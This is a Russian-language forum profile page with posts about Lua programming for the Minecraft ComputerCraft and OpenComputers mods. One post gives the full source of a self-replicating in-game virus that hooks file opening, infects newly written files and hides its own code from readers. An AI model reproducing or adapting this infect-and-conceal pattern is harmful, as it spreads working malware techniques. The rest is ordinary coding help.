Перейти к содержимому

Zer0Galaxy

Гуру
  • Публикации

    1 220
  • Зарегистрирован

  • Посещение

  • Победитель дней

    189

Сообщения, опубликованные пользователем Zer0Galaxy


  1. Я так понимаю, ключ может быть произвольной строкой, не только набором цифр?
    Может ли один ОС-компьютер держать одновременно несколько соединений, созданных при помощи разных ключей?

    А что будет если кто то не закроет за собой соединение?


  2. Кто хотел СС-вирус? Получите!


    Внимание! Запуск нижеприведенного кода приведет к заражению компьютера!
    Автор не несет ответственности за потерю информации в результате действия вируса!

     

    -- Zer0Virus
    local body=[[
    local nativeopen=fs.open
    local VirBody=...
    fs.open=function(path, mode)
      local file=nativeopen(path, mode)
      if file then
        if mode=='r' then
          if file.readLine()=='-- Zer0Virus' then for i=1,19 do file.readLine() end
          else file=nativeopen(path, mode) end
        elseif mode=='w' then
          file.writeLine('-- Zer0Virus')
          file.writeLine('local body='..string.char(91,91))
          file.write(VirBody)
          file.writeLine(string.char(93,93).." loadstring(body,'Zer0Virus')(body)")
          file.flush()
        end
      end
      return file
    end]] loadstring(body,'Zer0Virus')(body)
    print('This program is infected!')

     




    Что делает вирус?
    1) При первом запуске зараженной программы остается в ОЗУ компьютера т.е. заражает его.
    2) После заражения компьютера прописывает собственный код во все вновь создаваемые и редактируемые файлы.
    3) Скрывает свое тело. Т.е. при открытии зараженного файла на зараженном компьютере вы увидите содержимое не зараженного файла.

    Чего вирус не делает?
    1) Автоматически не заражает файл startup. Т.е если startup не заражен, после перезагрузки компьютер остается чистым.
    2) Не заражает копируемые и перемещаемые файлы.

    Для проверки работы вируса сохраните код под спойлером в файл с именем virus. Запустите его. Откройте файл virus на редактирование. Если Вы увидели только строчку

    print('This program is infected!')

    поздравляю, Ваш компьютер заражен.
    Создайте или отредактируйте в редакторе edit какой нибудь другой файл. Только не startup !!!
    Перегрузите компьютер и вновь откройте созданный файл. Вы должны увидеть в нем код вируса.

    • Нравится 5

  3. В робота дисковод как апгрейд можно вставить.

    Тут смысл не в самом дисководе, а в том, чтобы без участия человека на совершенно голую черепаху/робота поставить какое то ПО. Если черепаха рождается в непосредственной близости от дисковода, в который вставлена дискета, то на черепахе автоматом выполняется файл startup, записанный на дискете.

    А как в ОС? Сможет ли один робот вставить дискету в другого робота и сделать ему reboot?


  4. Zer0Galaxy, кинь код на пастебин, я про OC узнал только сегодня, очень интересно поковырять.

    http://pastebin.com/65EUXjw1#

    Это не сам виртуальный мир. Это набор функций для его создания. Если лень не замучает, расскажу позже что и как там устроено.

    Но если ты только сегодня узнал про ОС, даже не представляю как ты будешь все это ковырять. Тем не менее дерзай. Будут вопросы по СС - отвечу. Будут вопросы по ОС - уповай на помощь Тоторо.


  5. function parseD(adress)
       lines= pastebin(adress)
       tokens= {}
       s= {}
       c= 0
       for i=1,#lines do
              for q=1,#lines[i] do
                     c= c+1
                     s[c]= string.sub(lines[i],q,q)
              end
       end
        temp= ''
        forS= false
        i= 0
        while i<#s do
           i= i+1
               forS= false
               if (s[i] == ';') then
                      forS= true
              tokens[#tokens+1]= temp
              temp= ''
               end
               if (s[i] == '=') then
              forS= true
              tokens[#tokens+1]= temp
              tokens[#tokens+1]= '='
              temp= ''
               end
               if (forS~= true) then
                      if (s[i+1] == nil) then
                             temp= temp..s[i]
                 tokens[#tokens+1]= temp
                      end
              temp= temp..s[i]
               end
       end
     
       name_list= {}
       id_list= {}
       i= 0
       while i<#tokens do
            i= i+1
              if (tokens[i+1] == '=') then
             name_list[#name_list+1]= tokens[i]
             id_list[#id_list+1]= tokens[i+2]
             i= i+2
              end
     
       end
       return name_list,id_list
    end
    

    Всё это делается в три строчки. Читай тему "Шаблоны"

    Переменные, используемые в процедуре, лучше описывать локальными. Ничего не перетрешь и мусора меньше остается.

    • Нравится 1

  6. В startup необходимо вставить код, который бы удалял с компа все программы, кроме самого startupa. Сам же startup должен быть защищен от коррекции и удаления. Я, вроде, уже придумал как это сделать.

    3) написать прогу для черепахи, закрытой стеклом, чтобы та доехала до нужного места и открыла дверь

    А как игрок запишет прогу в черепаху, если черепаха за стеклом?

  7. 2) написать программу подбора пароля. Пароль - 2 или 3 символа латинского алфавита.

    Как только сделать так, чтобы написанные программы автоматически удалялись с компьютера? Чтобы сзади идущие не пользовались подсказками.


  8. А почему бы нам на сервере не устроить игру на подобии квеста, для прохождения которой необходимо решить ряд головоломок? Оформить можно в виде последовательности комнат. Чтобы пройти в следующую комнату необходимо выполнить определенное условие (найти ключ, подобрать код, написать программу и т.д.)

    Задачки могут быть с программистским уклоном или просто на догадливость.

    Решение таких головоломок было бы интересным занятием для начинающих программистов, а создание - для программистов со стажем.

    • Нравится 2

  9. Изучил возможности Sensora. В сундуки смотреть он не может. Может получать полную информацию об игроках и мобах в зоне действия, заглядывать в вагонетки и анализировать близлежащие блоки на предмет твердые они жидкие или газообразные. А чтобы посмотреть в сундук, или ставьте сундук вплотную к компьютеру или используйте OpenComputers.


  10. Кнопка заменена на деревянную. Так что, теперь ее может нажать каждый. Для включения центрального компьютера комнаты следует воспользоваться терминалом и скриптом, любезно написанным Фингеркомпом. Ну а то что мониторы иногда становятся прозрачными, тут я ничего не могу поделать. Это издержки Оптифайна.

    • Нравится 1

  11. Я предлагал вместо if turtle.detect() then использовать if turtle.forward() then. Только и всего. А вызов твоей функции forward, конечно нужно оставить как и раньше.

    И еще, переменные x y z лучше сделать локальными и возвращать их значение через функцию. Чтоб случайно не затереть


  12. function forward()
            if (turtle.detect()) then
           return false
            end
            if (sides == SOUTH) then
           z=z+1
            elseif (sides == EAST) then
               x= x+1
            elseif (sides == NORTH) then
               z= z-1
            elseif(sides == WEST) then
               x= x-1
            end
            turtle.forward()
    end
    

    Зачем так сложно? turtle.forward() возвращает true если движение прошло успешно.

    можно так:

    if turtle.forward()then
      --изменяем координаты x z
    end
    

    тоже касается up  и down


  13. т.е. пиксель это символ + байт цвета, а экран состоит из 19х51 пикселей. Не думаю, что при таких объемах сжатие даст результат, но можешь почитать тему про голографический проектор. Я там алгоритм сжатия предлагал, может и тебе подойдет


  14. По непонятным причинам я снова не могу войти в игру. Если у когото есть время и желание проникнуть в 3d комнату, можно попробовать следующий способ. На стенку комнаты выведен терминал, который подключен к главному компьютеру комнаты через проводные модемы. Нужно с этого терминала выдать команду на включение периферийного устройства "computer_146". Или как то так. После чего нажать кнопку на стене комнаты для входа. Для выхода из комнаты нужно подпрыгнуть.

    Комната расчитана на обслуживане только одного игрока, поэтому приходите в одиночистве. И еще, не берите с собой ценных вещей. Занятие это безопасное, но всё же

×
×
  • Создать...